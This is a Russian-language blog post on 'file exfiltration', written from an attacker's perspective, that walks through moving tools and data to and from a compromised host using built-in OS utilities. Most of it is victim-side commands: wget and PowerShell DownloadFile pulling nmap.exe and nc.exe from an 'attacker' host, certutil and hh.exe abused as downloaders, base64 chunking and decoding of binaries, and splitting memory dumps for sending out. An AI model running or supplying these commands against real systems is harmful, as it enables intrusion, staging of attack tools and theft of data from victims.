Главная

Sunday, 6 December 2020

Эксфильтрация файлов.

Всем привет.

Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов. 

Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов. 

Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:

attacker> python -m SimpleHTTPServer 8080

Для Рython3: 

attacker>python3 -m http.server 8080

Передаем наш файл:

victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe

Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')

Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt

victim$> cd \users\victim\appdata\local\microsoft\windows\

victim$> dir /s nmap.exe

victim$> cd путь_до_папки

victim$> move nmap.exe[1].txt nmap.exe

Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Или так:

victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt

Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иногда слишком большие порции данных передать невозможно. Поэтому в зависимости от размера передаваемого файла его следует сначала разделить на куски необходимых размеров:

attacker> split -b $[1*1024*1024] nmap.zip

В итоге получатся n файлов по 1 Мбайт (как в примере), начинающиеся на x*. В качестве метода трансформации будем использовать Base64:

attacker> base64 -w 0 < xaa > xaa.txt

Под Linux после завершения передачи куски файла могут быть соединены вместе:

victim$> for i in x*; do base64 < $i > $i.txt; done

victim$> cat x*.txt > nmap.zip

Готово, файл собран из кусочков. 

В Windows для решения аналогичной задачи существуют разные приемы.  Вот классический способ, подходящий для раритетных версий Windows:

attacker> wine exe2bat.exe someprog.exe commands.bat

Полученный на выходе bat-файл - это готовые команды, полностью состоящие из печатных символов. Для сборки из текстового представления (в данном случае Hex) в исходный двоичный код используется встроенный компонент debug.exe, который присутствует только в 32-битных версиях Windows от XP до 7 включительно.

Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows - лезвие №2:

victim$> certutil -decode content_base64.txt nmap.exe

В каждом из упомянутых случаев вы можете столкнуться с тем, что файл надо порезать на несколько частей. Чтобы собрать получившиеся двоичные куски в один файл в Windows, нужно сделать следующее:

victim$> type xaa.bin xab.bin xac.bin > 1.exe

А если, наоборот, надо выгрузить с victim на attacker двоичные файлы большого размера, например дамп памяти?  Проще всего порезать файл будет с помощью 7zip, который не требует установки и может быть доставлен на машину с помощью двух файлов 7z.exe и 7z.dll:

victim$> 7z a -v1m out.7z hugefile.bin

Затем полученные бинарные куски могут быть закодированы в Base64 - лезвие №3:

victim$> certutil -encode 1.bin 1.txt

И переданы по соответствующему каналу на attacker.

При подготовке статьи были использованы материалы из журнала "Хакер".

No comments:

Post a Comment

А что вы думаете по этому поводу?